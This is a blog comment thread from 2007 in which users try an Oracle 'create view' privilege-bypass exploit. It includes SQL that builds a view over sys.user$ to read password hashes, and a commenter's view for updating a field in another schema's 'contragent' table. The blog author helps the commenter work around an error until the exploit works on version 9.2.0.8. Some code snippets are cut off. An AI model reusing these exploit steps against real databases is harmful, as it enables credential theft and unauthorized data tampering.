• Startseite
• About
• Impressum

5 Antworten auf “Exploit for Create View Problem published”

1. Andre van Winssen sagt:
   25 Jul 2007 bei 11:32

   Alex,
   I tried the bunkerview on a 10203 database which had patch 7 (6038241) applied which is also labeled as cpu APRIL 2007 and it failed. So looks like it was already fixed before Cpu July 2007 came out. I have the feeling that Oracle releases security fixes in between cpu’s as well.

   Below’s the patch history on windows 32 it platform for 10.2.0.3 since cpu april 2007:

   6116131 PATCH 8 WINDOWS 32 BIT 10.2.0.3 17-JUL-2007 (First Cpu July 2007)
   6038241 PATCH 7 WINDOWS 32 BIT 10.2.0.3 05-JUL-2007
   6012742 PATCH 6 WINDOWS 32 BIT 10.2.0.3 07-JUN-2007
   5946186 PATCH 5 WINDOWS 32 BIT 10.2.0.3 19-MAY-2007
   5948242 PATCH 4 WINDOWS 32 BIT 10.2.0.3 17-APR-2007 (First Cpu April 2007)

   SQL> show user
   USER is “HEK”
   SQL> select * from user_sys_privs;

   USERNAME PRIVILEGE ADM
   —————————— —————————————- —
   HEK CREATE SESSION NO
   HEK CREATE VIEW NO

   SQL> get bunkerview2
   1 create or replace view bunkerview as
   2 select x.name,x.password from sys.user$ x left outer join sys.user$ y on
   3* x.name=y.name
   SQL> /
   select x.name,x.password from sys.user$ x left outer join sys.user$ y on
   *
   ERROR at line 2:
   ORA-00942: table or view does not exist

2. bunker sagt:
   25 Jul 2007 bei 16:30

   You need the “select” privilege on sys.user$.

   Otherwise you can try to create a similar view on another table, where you can do select, and make update, insert or delete on it!

   Bye,

   bunker

3. seydon sagt:
   27 Jul 2007 bei 08:09

   Hi.

   Tried this.
   dont work.

   USERS PRIVILEGE:
   CREATE SESSION
   CREATE VIEW.

   Have right for select on table Contragent.
   Write script:
   create or replace view test_hack_view as select x.id, x.insiderid from cret.contragent x left outer join cret.contragent y on x.id=y.id;
   update test_hack_view set insiderid=’1′ where id=’12345′;

   GO/

   and receive error:
   ORA-01031: insufficient privileges.

   Whats right I must have for this exploit?

4. Alexander Kornbrust sagt:
   27 Jul 2007 bei 16:37

   Seydon,

   I don’t see the problem. You need only SELECT and CREATE VIEW privileges.
   What database version do you have? You could try the following view instead:

   create or replace hackcontra as
   

   This was one of our testcases:
   —————————
   create view hackdual as
   select * from dual
   

   delete from hackdual;

   rollback;

5. seydon sagt:
   30 Jul 2007 bei 11:44

   Thanks.
   It’s work!!!
   With “left join” - dont’t work.
   With “…WHERE ID IN…” work perfect.
   Version - 9.2.0.8.

Antwort schreiben

Sie müssen als angemeldet sein, um einen Kommentar schreiben zu können.